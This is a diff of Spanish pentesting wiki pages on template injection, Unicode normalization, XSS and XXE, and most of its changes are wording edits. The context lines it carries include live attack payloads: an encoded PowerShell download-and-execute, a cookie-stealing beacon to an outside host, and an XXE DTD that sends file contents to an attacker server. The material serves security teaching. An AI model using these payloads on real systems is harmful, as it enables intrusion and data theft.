@ -204,7 +203,7 @@ el-expression-language.md
```
**Eludir filtros**
Se pueden usar múltiples expresiones de variable; si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
Se pueden usar múltiples expresiones de variables, si `${...}` no funciona, prueba `#{...}`, `*{...}`, `@{...}` o `~{...}`.
- Leer `/etc/passwd`
```java
@ -418,8 +417,6 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
- Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
@ -479,7 +476,7 @@ array("first_name" => $user.first_name)
```
**Más información**
- En la sección Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- En la sección de Twig y Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
### Plates (PHP)
@ -614,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) motor de plantillas PHP no compilable, que utiliza etiquetas XML para dividir un documento en diferentes partes
> [patTemplate](https://github.com/wernerwa/pat-template) motor de plantillas PHP no compilador, que utiliza etiquetas XML para dividir un documento en diferentes partes
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -737,7 +734,7 @@ range.constructor(
<figure><img src="../../images/image (1) (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
- Más info en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
- Más información en [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
### ERB (Ruby)
@ -911,7 +908,7 @@ ${x}
- `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cualquier proceso en el servidor y así crear un webshell. Puedes encontrar un ejemplo de una aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Más información**
@ -933,7 +930,7 @@ El método .NET `System.Diagnostics.Process.Start` se puede usar para iniciar cu
### Mojolicious (Perl)
Incluso si es perl, utiliza etiquetas como ERB en Ruby.
Incluso si es Perl, utiliza etiquetas como ERB en Ruby.
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Error`
@ -997,7 +994,9 @@ Si crees que podría ser útil, lee:
## Lista de Detección de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Práctica y Referencias

20
src/pentesting-web/unicode-injection/unicode-normalization.md
View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
**Este es un resumen de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Consulta para más detalles (imágenes tomadas de allí).
**Este es un resumen de:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Echa un vistazo para más detalles (imágenes tomadas de allí).
## Entendiendo Unicode y Normalización
@ -11,14 +11,14 @@ La normalización de Unicode es un proceso que asegura que diferentes representa
1. **Equivalencia Canónica**: Los caracteres se consideran canónicamente equivalentes si tienen la misma apariencia y significado cuando se imprimen o muestran.
2. **Equivalencia de Compatibilidad**: Una forma más débil de equivalencia donde los caracteres pueden representar el mismo carácter abstracto pero pueden mostrarse de manera diferente.
Existen **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
Hay **cuatro algoritmos de normalización de Unicode**: NFC, NFD, NFKC y NFKD. Cada algoritmo emplea técnicas de normalización canónica y de compatibilidad de manera diferente. Para una comprensión más profunda, puedes explorar estas técnicas en [Unicode.org](https://unicode.org/).
### Puntos Clave sobre la Codificación de Unicode
### Puntos Clave sobre la Codificación Unicode
Entender la codificación de Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
Entender la codificación Unicode es fundamental, especialmente al tratar con problemas de interoperabilidad entre diferentes sistemas o lenguajes. Aquí están los puntos principales:
- **Puntos de Código y Caracteres**: En Unicode, a cada carácter o símbolo se le asigna un valor numérico conocido como "punto de código".
- **Representación en Bytes**: El punto de código (o carácter) se representa mediante uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación.
- **Representación en Bytes**: El punto de código (o carácter) se representa por uno o más bytes en memoria. Por ejemplo, los caracteres LATIN-1 (comunes en países de habla inglesa) se representan utilizando un byte. Sin embargo, los idiomas con un conjunto más grande de caracteres necesitan más bytes para su representación.
- **Codificación**: Este término se refiere a cómo los caracteres se transforman en una serie de bytes. UTF-8 es un estándar de codificación prevalente donde los caracteres ASCII se representan utilizando un byte, y hasta cuatro bytes para otros caracteres.
- **Procesamiento de Datos**: Los sistemas que procesan datos deben ser conscientes de la codificación utilizada para convertir correctamente el flujo de bytes en caracteres.
- **Variantes de UTF**: Además de UTF-8, existen otros estándares de codificación como UTF-16 (que utiliza un mínimo de 2 bytes, hasta 4) y UTF-32 (que utiliza 4 bytes para todos los caracteres).
@ -43,7 +43,7 @@ Otro **ejemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%
Imagina una página web que está utilizando el carácter `'` para crear consultas SQL con la entrada del usuario. Esta web, como medida de seguridad, **elimina** todas las ocurrencias del carácter **`'`** de la entrada del usuario, pero **después de esa eliminación** y **antes de la creación** de la consulta, **normaliza** usando **Unicode** la entrada del usuario.
Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de inyección SQL**:
Entonces, un usuario malicioso podría insertar un carácter Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, cuando la entrada se normaliza, se crea una comilla simple y aparece una **vulnerabilidad de SQL Injection**:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -75,7 +75,9 @@ Entonces, un usuario malicioso podría insertar un carácter Unicode diferente e
```
#### plantilla de sqlmap
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS (Cross Site Scripting)
@ -83,7 +85,7 @@ Puedes usar uno de los siguientes caracteres para engañar a la webapp y explota
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede ser enviado como: `%e2%89%ae` o como `%u226e`
Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto se puede enviar como: `%e2%89%ae` o como `%u226e`
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (215) (1) (1).png>)
@ -91,7 +93,7 @@ Ten en cuenta que, por ejemplo, el primer carácter Unicode propuesto puede ser
Cuando el backend está **verificando la entrada del usuario con una regex**, puede ser posible que la **entrada** esté siendo **normalizada** para la **regex** pero **no** para donde se está **usando**. Por ejemplo, en un Open Redirect o SSRF, la regex podría estar **normalizando la URL enviada** pero luego **accediendo a ella tal como está**.
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para fuzzear el backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
La herramienta [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* permite **generar variaciones de la entrada** para hacer fuzzing al backend. Para más información, consulta el **github** y este [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Referencias

4
src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
View File

@ -376,7 +376,9 @@ version="1.0">
## **Lista de Detección de Fuerza Bruta**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **Referencias**

40
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -24,7 +24,7 @@
4. ¿Puedes eludir protecciones?
4. Función de Javascript **siendo ejecutada**
1. Puedes indicar el nombre de la función a ejecutar. ej.: `?callback=alert(1)`
4. Si está **usado**:
4. Si **usado**:
1. Podrías explotar un **DOM XSS**, presta atención a cómo se controla tu entrada y si tu **entrada controlada es usada por algún sink.**
Cuando trabajes en un XSS complejo, podría ser interesante saber sobre:
@ -37,7 +37,7 @@ debugging-client-side-js.md
Para explotar con éxito un XSS, lo primero que necesitas encontrar es un **valor controlado por ti que está siendo reflejado** en la página web.
- **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un **XSS Reflejado**.
- **Reflejado intermedialmente**: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejado en la página web, podrías explotar un **XSS Reflejado**.
- **Almacenado y reflejado**: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un **XSS Almacenado**.
- **Accedido a través de JS**: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un **DOM XSS**.
@ -47,7 +47,7 @@ Al intentar explotar un XSS, lo primero que necesitas saber es **dónde se está
### HTML crudo
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas posibles etiquetas HTML que podrías usar.\
Si tu entrada está **reflejada en el HTML crudo** de la página, necesitarás abusar de alguna **etiqueta HTML** para ejecutar código JS: `<img , <iframe , <svg , <script` ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.\
Además, ten en cuenta la [Inyección de Plantilla del Lado del Cliente](../client-side-template-injection-csti.md).
### Dentro del atributo de etiquetas HTML
@ -57,7 +57,7 @@ Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, pod
1. **Escapar del atributo y de la etiqueta** (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: `"><img [...]`
2. Si **puedes escapar del atributo pero no de la etiqueta** (`>` está codificado o eliminado), dependiendo de la etiqueta podrías **crear un evento** que ejecute código JS: `" autofocus onfocus=alert(1) x="`
3. Si **no puedes escapar del atributo** (`"` está siendo codificado o eliminado), entonces dependiendo de **qué atributo** se está reflejando tu valor **si controlas todo el valor o solo una parte**, podrás abusar de ello. Por **ejemplo**, si controlas un evento como `onclick=` podrás hacer que ejecute código arbitrario cuando se haga clic. Otro **ejemplo** interesante es el atributo `href`, donde puedes usar el protocolo `javascript:` para ejecutar código arbitrario: **`href="javascript:alert(1)"`**
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="**
4. Si tu entrada está reflejada dentro de "**etiquetas no explotables**", podrías intentar el truco del **`accesskey`** para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): **`" accesskey="x" onclick="alert(1)" x="`**
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
```html
@ -149,7 +149,7 @@ server-side-xss-dynamic-pdf.md
## Inyectando dentro de HTML crudo
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\
Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, la **primera** cosa que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\
Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
&#xNAN;_**Nota: Un comentario HTML se puede cerrar usando\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*o \*\*\*\*\*\***`--!>`\*\**_
@ -250,7 +250,7 @@ Si solo piensas que **es imposible crear una etiqueta HTML con un atributo para
### Dentro de la etiqueta/escapando del valor del atributo
Si estás **dentro de una etiqueta HTML**, lo primero que podrías intentar es **escapar** de la etiqueta y usar algunas de las técnicas mencionadas en la [sección anterior](./#injecting-inside-raw-html) para ejecutar código JS.\
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_ten en cuenta que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
Si **no puedes escapar de la etiqueta**, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (_nota que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta_):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
@ -383,7 +383,7 @@ Si puedes inyectar cualquier URL en una etiqueta **`<a href=`** arbitraria que c
../reverse-tab-nabbing.md
{{#endref}}
### Bypass de Controladores de Eventos
### sobre el Bypass de Controladores de Eventos
Primero, consulta esta página ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) para obtener útiles **"on" event handlers**.\
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:
@ -428,9 +428,9 @@ Desde [**aquí**](https://portswigger.net/research/xss-in-hidden-input-fields):
```
**La carga útil de XSS será algo como esto: `" accesskey="x" onclick="alert(1)" x="`**
### Bypass de lista negra
### Bypasses de lista negra
Varios trucos utilizando diferentes codificaciones ya se han expuesto en esta sección. Ve **de vuelta para aprender dónde puedes usar:**
Varios trucos utilizando diferentes codificaciones ya se han expuesto dentro de esta sección. Ve **de vuelta para aprender dónde puedes usar:**
- **Codificación HTML (etiquetas HTML)**
- **Codificación Unicode (puede ser código JS válido):** `\u0061lert(1)`
@ -444,7 +444,7 @@ Lee los [Bypasses de lista negra de la sección anterior](./#blacklist-bypasses)
**Bypasses para código JavaScript**
Lee la [lista negra de bypass de JavaScript de la siguiente sección](./#javascript-bypass-blacklists-techniques).
Lee la [lista negra de bypasses de JavaScript de la siguiente sección](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
@ -748,7 +748,7 @@ dom-xss.md
Allí encontrarás una **explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas**.\
Además, no olvides que **al final del post mencionado** puedes encontrar una explicación sobre [**ataques de DOM Clobbering**](dom-xss.md#dom-clobbering).
### Mejora de Self-XSS
### Mejorando Self-XSS
### Cookie XSS
@ -787,11 +787,11 @@ Ejemplo de formulario ([de este informe](https://hackerone.com/reports/709336)),
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
El par "Key","Value" será devuelto así:
El par "Key","Value" será devuelto de la siguiente manera:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
Luego, se insertará el atributo onfocus y ocurrirá XSS.
Entonces, se insertará el atributo onfocus y ocurrirá XSS.
### Combinaciones especiales
```markup
@ -925,7 +925,7 @@ Este comportamiento se utilizó en [**este informe**](https://github.com/zwade/y
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? no está en la lista pero creo que lo vi en un CTF)
- text/plain (?? no está en la lista pero creo que vi esto en un CTF)
- application/rss+xml (apagado)
- application/atom+xml (apagado)
@ -955,7 +955,7 @@ chrome-cache-to-xss.md
### Escape de Cárceles XS
Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail:
Si solo tienes un conjunto limitado de caracteres para usar, revisa estas otras soluciones válidas para problemas de XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -1269,7 +1269,7 @@ Hacer que el usuario navegue en la página sin salir de un iframe y robar sus ac
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/#httponly) si tienes la suerte suficiente.
### Robar Contenido de la Página
```javascript
@ -1427,7 +1427,9 @@ shadow-dom.md
### Políglotas
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Cargas útiles de XSS ciegas
@ -1492,7 +1494,9 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
```
### Lista de Fuerza Bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS Abusando de otras vulnerabilidades

35
src/pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -91,7 +91,7 @@ Usando la **técnica comentada anteriormente** puedes hacer que el servidor acce
```
### "Blind" SSRF - Exfiltrar datos fuera de banda
**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas, podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como por ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**el laboratorio de Portswigger aquí**](https://portswigger.net/web-security/xxe/blind)**.**
**En esta ocasión vamos a hacer que el servidor cargue un nuevo DTD con una carga útil maliciosa que enviará el contenido de un archivo a través de una solicitud HTTP (para archivos de varias líneas, podrías intentar exfiltrarlo a través de \_ftp://**\_ usando este servidor básico como por ejemplo [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Esta explicación se basa en** [**Portswiggers lab aquí**](https://portswigger.net/web-security/xxe/blind)**.**
En el DTD malicioso dado, se llevan a cabo una serie de pasos para exfiltrar datos:
@ -121,13 +121,13 @@ El atacante aloja este DTD malicioso en un servidor bajo su control, típicament
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Este payload define una entidad de parámetro XML `%xxe` e incorpora esta entidad dentro del DTD. Cuando es procesado por un analizador XML, este payload obtiene el DTD externo del servidor del atacante. El analizador luego interpreta el DTD en línea, ejecutando los pasos descritos en el DTD malicioso y llevando a la exfiltración del archivo `/etc/hostname` al servidor del atacante.
Este payload define una entidad de parámetro XML `%xxe` e incorpora esto dentro del DTD. Cuando es procesado por un analizador XML, este payload obtiene el DTD externo del servidor del atacante. El analizador luego interpreta el DTD en línea, ejecutando los pasos descritos en el DTD malicioso y llevando a la exfiltración del archivo `/etc/hostname` al servidor del atacante.
### Error Based(External DTD)
### Basado en Errores (DTD Externo)
**En este caso, vamos a hacer que el servidor cargue un DTD malicioso que mostrará el contenido de un archivo dentro de un mensaje de error (esto solo es válido si puedes ver mensajes de error).** [**Ejemplo de aquí.**](https://portswigger.net/web-security/xxe/blind)
Un mensaje de error de análisis XML, que revela el contenido del archivo `/etc/passwd`, puede ser desencadenado utilizando un Documento Tipo de Definición (DTD) externo malicioso. Esto se logra a través de los siguientes pasos:
Un mensaje de error de análisis XML, revelando el contenido del archivo `/etc/passwd`, puede ser desencadenado utilizando un Documento Tipo de Definición (DTD) externo malicioso. Esto se logra a través de los siguientes pasos:
1. Se define una entidad de parámetro XML llamada `file`, que contiene el contenido del archivo `/etc/passwd`.
2. Se define una entidad de parámetro XML llamada `eval`, incorporando una declaración dinámica para otra entidad de parámetro XML llamada `error`. Esta entidad `error`, cuando se evalúa, intenta cargar un archivo inexistente, incorporando el contenido de la entidad `file` como su nombre.
@ -197,11 +197,13 @@ Como esta técnica utiliza un **DTD interno, primero necesitas encontrar uno vá
```
Para más información, consulta [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### Encontrar DTDs dentro del sistema
### Encontrando DTDs dentro del sistema
En el siguiente increíble repositorio de github puedes encontrar **rutas de DTDs que pueden estar presentes en el sistema**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Además, si tienes la **imagen de Docker del sistema víctima**, puedes usar la herramienta del mismo repositorio para **escanear** la **imagen** y **encontrar** la ruta de los **DTDs** presentes dentro del sistema. Lee el [Readme del github](https://github.com/GoSecure/dtd-finder) para aprender cómo.
```bash
@ -221,9 +223,9 @@ Para una explicación más detallada de este ataque, **consulta la segunda secci
La capacidad de **subir documentos de Microsoft Office es ofrecida por muchas aplicaciones web**, que luego proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos subiendo una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.
Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Office que contenga una carga útil de XXE**. El primer paso es crear un directorio vacío al que se pueda descomprimir el documento.
Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Office que contenga una carga útil XXE**. El primer paso es crear un directorio vacío al que se pueda descomprimir el documento.
Una vez que el documento ha sido descomprimido, el archivo XML ubicado en `./unzipped/word/document.xml` debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir la carga útil de XXE deseada, a menudo comenzando con una solicitud HTTP.
Una vez que el documento ha sido descomprimido, el archivo XML ubicado en `./unzipped/word/document.xml` debe ser abierto y editado en un editor de texto preferido (como vim). El XML debe ser modificado para incluir la carga útil XXE deseada, a menudo comenzando con una solicitud HTTP.
Las líneas XML modificadas deben ser insertadas entre los dos objetos XML raíz. Es importante reemplazar la URL con una URL monitorizable para las solicitudes.
@ -241,7 +243,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
> [!CAUTION]
> Poder acceder a archivos dentro de archivos PKZIP es **súper útil para abusar de XXE a través de archivos DTD del sistema.** Consulta [esta sección para aprender cómo abusar de archivos DTD del sistema](xxe-xee-xml-external-entity.md#error-based-system-dtd).
El proceso detrás de acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
El proceso para acceder a un archivo dentro de un archivo PKZIP a través del protocolo jar implica varios pasos:
1. Se realiza una solicitud HTTP para descargar el archivo zip desde una ubicación especificada, como `https://download.website.com/archive.zip`.
2. La respuesta HTTP que contiene el archivo se almacena temporalmente en el sistema, típicamente en una ubicación como `/tmp/...`.
@ -318,9 +320,9 @@ Consulta [https://portswigger.net/web-security/xxe](https://portswigger.net/web-
### SVG - Carga de Archivos
Los archivos subidos por los usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los formatos de archivo XML o que contienen XML. Formatos de archivo comunes como documentos de oficina (DOCX) e imágenes (SVG) se basan en XML.
Los archivos subidos por los usuarios a ciertas aplicaciones, que luego son procesados en el servidor, pueden explotar vulnerabilidades en cómo se manejan los archivos XML o los formatos de archivo que contienen XML. Formatos de archivo comunes como documentos de oficina (DOCX) e imágenes (SVG) se basan en XML.
Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, **la biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
Cuando los usuarios **suben imágenes**, estas imágenes son procesadas o validadas del lado del servidor. Incluso para aplicaciones que esperan formatos como PNG o JPEG, la **biblioteca de procesamiento de imágenes del servidor también podría soportar imágenes SVG**. SVG, al ser un formato basado en XML, puede ser explotado por atacantes para enviar imágenes SVG maliciosas, exponiendo así al servidor a vulnerabilidades XXE (XML External Entity).
Un ejemplo de tal exploit se muestra a continuación, donde una imagen SVG maliciosa intenta leer archivos del sistema:
```xml
@ -406,7 +408,7 @@ Esto solo funciona si el servidor XML acepta el protocolo `data://`.
### UTF-7
Puedes usar la \[**"Receta de Codificación"** de cyberchef aquí ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
